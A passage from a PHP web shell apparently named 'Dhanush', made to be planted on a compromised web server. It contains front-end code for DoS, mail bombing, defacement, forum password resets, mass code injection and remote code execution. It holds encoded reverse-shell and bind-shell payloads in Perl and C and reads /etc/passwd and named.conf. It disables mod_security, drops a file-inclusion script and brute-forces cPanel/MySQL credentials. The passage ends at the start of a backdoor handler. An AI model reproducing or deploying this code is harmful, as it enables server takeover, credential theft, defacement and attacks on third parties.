  6920. function fileaction(myaction,myfilepath)
  6921. {
  6922. document.getElementById("showmydata").className = "fixedbox";
  6923. document.getElementById("showmydata").innerHTML=waitstate;
  6924. var ajaxRequest;
  6925. ajaxRequest = new XMLHttpRequest();
  6926.  
  6927. ajaxRequest.onreadystatechange = function()
  6928. {
  6929. if(ajaxRequest.readyState == 4)
  6930. {
  6931. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6932. }
  6933. }
  6934.  
  6935. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
  6936. ajaxRequest.send(null);
  6937. }
  6938. function bypassfun(funct,functvalue,optiontype)
  6939. {
  6940. document.getElementById("showmydata").className = "fixedbox";
  6941. document.getElementById("showmydata").innerHTML=waitstate;
  6942. var ajaxRequest;
  6943. ajaxRequest = new XMLHttpRequest();
  6944. ajaxRequest.onreadystatechange = function()
  6945. {
  6946. if(ajaxRequest.readyState == 4)
  6947. {
  6948. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  6949. }
  6950. }
  6951.  
  6952. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
  6953. ajaxRequest.send(null);
  6954. }
  6955. function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
  6956. {
  6957. document.getElementById("showdos").innerHTML=waitstate;
  6958. var ajaxRequest;
  6959. ajaxRequest = new XMLHttpRequest();
  6960.  
  6961. ajaxRequest.onreadystatechange = function()
  6962. {
  6963. if(ajaxRequest.readyState == 4)
  6964. {
  6965. document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
  6966. }
  6967. }
  6968.  
  6969. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
  6970. ajaxRequest.send(null);
  6971. }
  6972. function createfile(filecreator,filecontent)
  6973. {
  6974. var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
  6975. var filecontent = encodeURIComponent(filecontent);
  6976. var params = "filecontent="+filecontent+"&filecreator="+filecreator;
  6977. document.getElementById("showdir").innerHTML=waitstate;
  6978. var ajaxRequest;
  6979. ajaxRequest = new XMLHttpRequest();
  6980.  
  6981. ajaxRequest.onreadystatechange = function()
  6982. {
  6983. if(ajaxRequest.readyState == 4)
  6984. {
  6985. gethome('home',mm);
  6986. document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
  6987. document.getElementById("showmydata").innerHTML="";
  6988. }
  6989. }
  6990.  
  6991. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  6992. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  6993. ajaxRequest.send(params);
  6994. }
  6995. function createdir(create,createfolder)
  6996. {
  6997. document.getElementById("showmydata").className = "fixedbox";
  6998. document.getElementById("showmydata").innerHTML=waitstate;
  6999. var ajaxRequest;
  7000. ajaxRequest = new XMLHttpRequest();
  7001.  
  7002. ajaxRequest.onreadystatechange = function()
  7003. {
  7004. if(ajaxRequest.readyState == 4)
  7005. {
  7006. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  7007. }
  7008. }
  7009.  
  7010. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
  7011. ajaxRequest.send(null);
  7012. }
  7013. function codeinsert(code)
  7014. {
  7015. var code = encodeURIComponent(code);
  7016. var params = "getcode="+code;
  7017. document.getElementById("showcode").innerHTML=waitstate;
  7018. var ajaxRequest;
  7019. ajaxRequest = new XMLHttpRequest();
  7020.  
  7021. ajaxRequest.onreadystatechange = function()
  7022. {
  7023. if(ajaxRequest.readyState == 4)
  7024. {
  7025. document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
  7026. }
  7027. }
  7028.  
  7029. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  7030. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  7031. ajaxRequest.send(params);
  7032. }
  7033. function getmydefacedata(mydata)
  7034. {
  7035. document.getElementById("showmydeface").innerHTML=waitstate;
  7036. var ajaxRequest;
  7037. ajaxRequest = new XMLHttpRequest();
  7038.  
  7039. ajaxRequest.onreadystatechange = function()
  7040. {
  7041. if(ajaxRequest.readyState == 4)
  7042. {
  7043. document.getElementById("showmydeface").innerHTML=ajaxRequest.responseText;
  7044. }
  7045. }
  7046.  
  7047. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
  7048. ajaxRequest.send(null);
  7049. }
  7050. function getmydata(mydata)
  7051. {
  7052. document.getElementById("showmydata").className = "fixedbox";
  7053. document.getElementById("showmydata").innerHTML=waitstate;
  7054. var ajaxRequest;
  7055. ajaxRequest = new XMLHttpRequest();
  7056.  
  7057. ajaxRequest.onreadystatechange = function()
  7058. {
  7059. if(ajaxRequest.readyState == 4)
  7060. {
  7061. document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
  7062. }
  7063. }
  7064.  
  7065. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
  7066. ajaxRequest.send(null);
  7067. }
  7068. function getdata(mydata,myfile)
  7069. {
  7070. document.getElementById("showdata").innerHTML=waitstate;
  7071. var ajaxRequest;
  7072. ajaxRequest = new XMLHttpRequest();
  7073.  
  7074. ajaxRequest.onreadystatechange = function()
  7075. {
  7076. if(ajaxRequest.readyState == 3)
  7077. {
  7078. document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
  7079. }
  7080. }
  7081.  
  7082. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
  7083. ajaxRequest.send(null);
  7084. }
  7085. function getport(host,protocol,start,end)
  7086. {
  7087. document.getElementById("showports").innerHTML=waitstate;
  7088. var ajaxRequest;
  7089. ajaxRequest = new XMLHttpRequest();
  7090.  
  7091. ajaxRequest.onreadystatechange = function()
  7092. {
  7093. if(ajaxRequest.readyState == 4)
  7094. {
  7095. document.getElementById("showports").innerHTML=ajaxRequest.responseText;
  7096. }
  7097. }
  7098.  
  7099. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
  7100. ajaxRequest.send(null);
  7101. }
  7102. function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uname,newpass)
  7103. {
  7104. document.getElementById("showchangepass").innerHTML=waitstate;
  7105. var ajaxRequest;
  7106. ajaxRequest = new XMLHttpRequest();
  7107.  
  7108. ajaxRequest.onreadystatechange = function()
  7109. {
  7110. if(ajaxRequest.readyState == 4)
  7111. {
  7112. document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
  7113. }
  7114. }
  7115.  
  7116. ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uname=" + uname + "&newpass=" + newpass, true);
  7117. ajaxRequest.send(null);
  7118. }
  7119. function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,f5)
  7120. {
  7121. var index = encodeURIComponent(index);
  7122. var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&f5="+f5;
  7123. document.getElementById("showdeface").innerHTML=waitstate;
  7124. var ajaxRequest;
  7125. ajaxRequest = new XMLHttpRequest();
  7126.  
  7127. ajaxRequest.onreadystatechange = function()
  7128. {
  7129. if(ajaxRequest.readyState == 4)
  7130. {
  7131. document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
  7132. }
  7133. }
  7134.  
  7135. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  7136. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  7137. ajaxRequest.send(params);
  7138. }
  7139. function codeinjector(pathtomass,mode,filetype,injectthis)
  7140. {
  7141. var injectthis = encodeURIComponent(injectthis);
  7142. var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
  7143. document.getElementById("showinject").innerHTML=waitstate;
  7144. var ajaxRequest;
  7145. ajaxRequest = new XMLHttpRequest();
  7146.  
  7147. ajaxRequest.onreadystatechange = function()
  7148. {
  7149. if(ajaxRequest.readyState == 3)
  7150. {
  7151. document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
  7152. }
  7153. }
  7154.  
  7155. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  7156. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  7157. ajaxRequest.send(params);
  7158. }
  7159. function sendmail(mailfunction,to,subject,message,from,times,padding)
  7160. {
  7161. var message = encodeURIComponent(message);
  7162. if(mailfunction == "massmailing")
  7163. var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
  7164. else if(mailfunction == "dobombing")
  7165. var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&times=" + times + "&padding=" + padding + "&message=" + message;
  7166. document.getElementById("showmail").innerHTML=waitstate;
  7167. var ajaxRequest;
  7168. ajaxRequest = new XMLHttpRequest();
  7169.  
  7170. ajaxRequest.onreadystatechange = function()
  7171. {
  7172. if(ajaxRequest.readyState == 4)
  7173. {
  7174. document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
  7175. }
  7176. }
  7177.  
  7178. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  7179. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  7180. ajaxRequest.send(params);
  7181. }
  7182. function execode(code)
  7183. {
  7184. var intext = document.getElementById('intext').checked;
  7185. var message = encodeURIComponent(message);
  7186. var params = "code="+code+"&intext="+intext;
  7187. document.getElementById("showresult").innerHTML=waitstate;
  7188. var ajaxRequest;
  7189. ajaxRequest = new XMLHttpRequest();
  7190.  
  7191. ajaxRequest.onreadystatechange = function()
  7192. {
  7193. if(ajaxRequest.readyState == 4)
  7194. {
  7195. document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
  7196. }
  7197. }
  7198.  
  7199. ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
  7200. ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
  7201. ajaxRequest.send(params);
  7202. }
  7203. function malwarefun(malwork)
  7204. {
  7205. var malpath = document.getElementById('createfile').value;
  7206. document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
  7207. var ajaxRequest;
  7208. ajaxRequest = new XMLHttpRequest();
  7209.  
  7210. ajaxRequest.onreadystatechange = function()
  7211. {
  7212. if(ajaxRequest.readyState == 4)
  7213. {
  7214. document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
  7215. }
  7216. }
  7217.  
  7218. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
  7219. ajaxRequest.send(null);
  7220. }
  7221. function getexploit(wurl,path,functiontype)
  7222. {
  7223. document.getElementById("showexp").innerHTML=waitstate;
  7224. var ajaxRequest;
  7225. ajaxRequest = new XMLHttpRequest();
  7226.  
  7227. ajaxRequest.onreadystatechange = function()
  7228. {
  7229. if(ajaxRequest.readyState == 4)
  7230. {
  7231. document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
  7232. }
  7233. }
  7234.  
  7235. ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
  7236. ajaxRequest.send(null);
  7237. }
  7238. function showMsg(msg)
  7239. {
  7240. if(msg == 'smf')
  7241. {
  7242. document.getElementById('tableprefix').value="smf_";
  7243. document.getElementById('fid').style.display='block';
  7244. document.getElementById('wpress').style.display='none';
  7245. document.getElementById('joomla').style.display='none';
  7246. }
  7247. if(msg == 'mybb')
  7248. {
  7249. document.getElementById('tableprefix').value="mybb_";
  7250. document.getElementById('wpress').style.display='none';
  7251. document.getElementById('joomla').style.display='none';
  7252. document.getElementById('fid').style.display='block';
  7253. }
  7254. if(msg == 'ipb' || msg == 'vb')
  7255. {
  7256. document.getElementById('tableprefix').value="";
  7257. document.getElementById('wpress').style.display='none';
  7258. document.getElementById('joomla').style.display='none';
  7259. document.getElementById('fid').style.display='block';
  7260. }
  7261. if(msg == 'wp')
  7262. {
  7263. document.getElementById('tableprefix').value="wp_";
  7264. document.getElementById('wpress').style.display='block';
  7265. document.getElementById('fid').style.display='none';
  7266. document.getElementById('joomla').style.display='none';
  7267. }
  7268. if(msg == 'joomla')
  7269. {
  7270. document.getElementById('joomla').style.display='block';
  7271. document.getElementById('tableprefix').value="jos_";
  7272. document.getElementById('wpress').style.display='none';
  7273. document.getElementById('fid').style.display='none';
  7274. }
  7275. }
  7276. function checkforum(msg)
  7277. {
  7278. if(msg == 'smf')
  7279. {
  7280. document.getElementById('tableprefix').value="smf_";
  7281. document.getElementById('smfipb').style.display='block';
  7282. document.getElementById('myjoomla').style.display='none';
  7283.  
  7284. }
  7285. if(msg == 'phpbb')
  7286. {
  7287. document.getElementById('tableprefix').value="phpb_";
  7288. document.getElementById('myjoomla').style.display='none';
  7289. document.getElementById('smfipb').style.display='block';
  7290.  
  7291. }
  7292. if(msg == 'mybb')
  7293. {
  7294. document.getElementById('tableprefix').value="mybb_";
  7295. document.getElementById('myjoomla').style.display='none';
  7296. document.getElementById('smfipb').style.display='none';
  7297. }
  7298. if(msg == 'vb')
  7299. {
  7300. document.getElementById('tableprefix').value="";
  7301. document.getElementById('myjoomla').style.display='none';
  7302. document.getElementById('smfipb').style.display='none';
  7303. }
  7304. if(msg == 'ipb')
  7305. {
  7306. document.getElementById('myjoomla').style.display='none';
  7307. document.getElementById('smfipb').style.display='block';
  7308. document.getElementById('tableprefix').value="";
  7309. }
  7310. if(msg == 'wp')
  7311. {
  7312. document.getElementById('tableprefix').value="wp_";
  7313. document.getElementById('myjoomla').style.display='block';
  7314. document.getElementById('smfipb').style.display='none';
  7315. document.getElementById('siteurl').value="http://site/blog";
  7316. }
  7317. if(msg == 'joomla')
  7318. {
  7319. document.getElementById('myjoomla').style.display='block';
  7320. document.getElementById('tableprefix').value="jos_";
  7321. document.getElementById('smfipb').style.display='none';
  7322. document.getElementById('siteurl').value="http://site/administrator/";
  7323. }
  7324. }
  7325. </script>
  7326. <body>
  7327. <?php
  7328.  
  7329. $back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
  7330.  
  7331. $backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
  7332.  
  7333. $bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
  7334.  
  7335. $bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
  7336.  
  7337. echo $shellstyle;
  7338. ?>
  7339. <table style="width:100%;">
  7340. <tr align="right">
  7341. <td><a href="<?php echo $self;?>"><font size="6" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
  7342. </td><td align="right">
  7343. <form method="get">
  7344. <select id="style" class="sbox" onChange="change_style(this.value)">
  7345. <option selected="selected">--Style--</option>
  7346. <option value="dhanush">Dhanush</option>
  7347. <option value="404">404</option>
  7348. <option value="phizo">Phizo</option>
  7349. <option value="orange">Orange</option>
  7350. </select>
  7351. </form></td>
  7352. </tr></table>
  7353. <hr color="#1B1B1B">
  7354.  
  7355. <table cellpadding="0" style="width:100%;">
  7356. <tr>
  7357. <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
  7358. <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
  7359. <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
  7360. </tr>
  7361. <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
  7362. <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
  7363. <?php $d0mains = @file("/etc/named.conf");
  7364. $users=@file('/etc/passwd');
  7365. if($d0mains)
  7366. {
  7367. $count;
  7368. foreach($d0mains as $d0main)
  7369. {
  7370. if(@ereg("zone",$d0main))
  7371. {
  7372. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  7373. flush();
  7374. if(strlen(trim($domains[1][0])) > 2)
  7375. {
  7376. flush();
  7377. $count++;
  7378. }
  7379. }
  7380. }
  7381. ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
  7382. }
  7383. else if($users)
  7384. {
  7385. $file = fopen("/etc/passwd", "r");
  7386. while(!feof($file))
  7387. {
  7388. $s = fgets($file);
  7389. $matches = array();
  7390. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  7391. $matches = str_replace("home/","",$matches[1]);
  7392. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  7393. continue;
  7394. $count++;
  7395. }
  7396. ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
  7397. </tr><?php } ?>
  7398. <tr>
  7399. <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
  7400. <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
  7401.  
  7402. <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
  7403. <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
  7404. </tr>
  7405.  
  7406. <tr>
  7407. <?php if($os == 'Windows'){ ?><td style="width:15%;vertical-align:text-top;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
  7408. <td style="width:30%;vertical-align:text-top;">Current Directory : <span id="crdir"><font color="#009900">
  7409. <?php
  7410. $d = str_replace("\\",$directorysperator,$dir);
  7411. if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
  7412. $d = str_replace("\\\\","\\",$d);
  7413. $dispd = htmlspecialchars($d);
  7414. $pd = $e = explode($directorysperator,substr($d,0,-1));
  7415. $i = 0;
  7416. foreach($pd as $b)
  7417. {
  7418. $t = '';
  7419. $j = 0;
  7420. foreach ($e as $r)
  7421. {
  7422. $t.= $r.$directorysperator;
  7423. if ($j == $i) {break;}
  7424. $j++;
  7425. }
  7426. $href=addslashes($t);
  7427.  
  7428. echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
  7429. $i++;
  7430. }
  7431.  
  7432. ?>
  7433. </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
  7434. <td style="width:20%;max-width:200px;word-break:break-all;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
  7435. <td style="vertical-align:text-top;">Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
  7436. <?php if($os == "Linux") { ?><td style="vertical-align:text-top;"><a href="<?php echo $self.'?downloadit'?>">Download It</a><?php } ?></td>
  7437. </tr>
  7438. </table>
  7439.  
  7440. <?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
  7441. $m2 = array('SQL'=>'database','Sub-Domain Creator'=>'subdomain','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
  7442. echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
  7443. <tr>";
  7444. $menu = '';
  7445.  
  7446. foreach($m1 as $k => $v)
  7447. $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
  7448. echo $menu;
  7449. echo "</tr>
  7450. </table>
  7451. <center>
  7452. <table style=\"border-color:#333333;\" border=2 width=70%; cellpadding=2>
  7453. <tr align=center>";
  7454. foreach($m2 as $k => $v)
  7455. $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
  7456. echo $menu1;
  7457. echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
  7458. <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
  7459. </tr>
  7460. </table></center>";?>
  7461.  
  7462. <div id="showmaindata"></div>
  7463. <center><div id="showmydata"></div></center>
  7464. <?php
  7465.  
  7466. if(isset($_GET["downloadit"]))
  7467. {
  7468. $FolderToCompress = getcwd();
  7469. execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
  7470.  
  7471. $prd=explode("/","backup.tar");
  7472. for($i=0;$i<sizeof($prd);$i++)
  7473. {
  7474. $nfd=$prd[$i];
  7475. }
  7476. @ob_clean();
  7477. header("Content-type: application/octet-stream");
  7478. header("Content-length: ".filesize($nfd));
  7479. header("Content-disposition: attachment; filename=\"".$nfd."\";");
  7480. readfile($nfd);
  7481. exit;
  7482. }
  7483. //Turn Safe Mode Off
  7484. if(getDisabledFunctions() != "None" || safe() != "OFF")
  7485. {
  7486. $file_pointer = fopen(".htaccess", "w+");
  7487. fwrite($file_pointer, "<IfModule mod_security.c>
  7488. SecFilterEngine Off
  7489. SecFilterScanPOST Off
  7490. </IfModule> \n\r");
  7491.  
  7492. $file_pointer = fopen("ini.php", "w+");
  7493. fwrite($file_pointer, "<?
  7494. echo ini_get(\"safe_mode\");
  7495. echo ini_get(\"open_basedir\");
  7496. include(\$_GET[\"file\"]);
  7497. ini_restore(\"safe_mode\");
  7498. ini_restore(\"open_basedir\");
  7499. echo ini_get(\"safe_mode\");
  7500. echo ini_get(\"open_basedir\");
  7501. include(\$_GET[\"ss\"]);
  7502. ?>");
  7503.  
  7504. $file_pointer = fopen("php.ini", "w+");
  7505. fwrite($file_pointer, "safe_mode = Off");
  7506.  
  7507. fclose($file_pointer);
  7508.  
  7509. }
  7510.  
  7511. if(isset($_POST['cpanelattack']))
  7512. {
  7513. if(!empty($_POST['username']) && !empty($_POST['password']))
  7514. {
  7515. $userlist=explode("\n",$_POST['username']);
  7516. $passlist=explode("\n",$_POST['password']);
  7517.  
  7518. $e = explode("\n",$_POST['username']);
  7519. foreach($e as $value)
  7520. {
  7521. $k = explode(":",$value);
  7522. $username .= $k['0']." ";
  7523. }
  7524.  
  7525. $a1 = explode(" ",$username);
  7526. $a2 = explode("\n",$_POST['password']);
  7527. $id2 = count($a2);
  7528. $ok = 0;
  7529. foreach($a1 as $user)
  7530. {
  7531. if($user !== '')
  7532. {
  7533. $user=trim($user);
  7534. for($i=0;$i<=$id2;$i++)
  7535. {
  7536. $pass = trim($a2[$i]);
  7537. if(@mysql_connect('localhost',$user,$pass))
  7538. {
  7539. echo "User is (<b>$user</b>) Password is (<b><font class='txt'>$pass</font></b>)<br />";
  7540. $ok++;
  7541. }
  7542. }
  7543. }
  7544. }
  7545. echo "<hr><b>You Found <font color=red>$ok</font></b>";
  7546. }
  7547. else
  7548. $bdmessage = "<center>Enter Username & Password List<center>";
  7549. }
  7550. elseif(isset($_GET['style']))
  7551. {
  7552. setcookie('style',$_GET['style']);
  7553. header("location:$self");
  7554. }
  7555. else if(isset($_GET['info']))
  7556. {
  7557. $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
  7558. }
  7559. else if(isset($_POST['u']))
  7560. {
  7561. $path = $_REQUEST['path'];
  7562. if(is_dir($path))
  7563. {
  7564. $setuploadvalue = 0;
  7565. $uploadedFilePath = $_FILES['uploadfile']['name'];
  7566. $tempName = $_FILES['uploadfile']['tmp_name'];
  7567. if($os == "Windows")
  7568. $uploadPath = $path . $directorysperator . $uploadedFilePath;
  7569. else if($os == "Linux")
  7570. $uploadPath = $path . $directorysperator . $uploadedFilePath;
  7571. if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
  7572. $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
  7573. else
  7574. $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
  7575. }
  7576. ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
  7577. }
  7578. else if(isset($_POST['backdoor']))
  7579. {
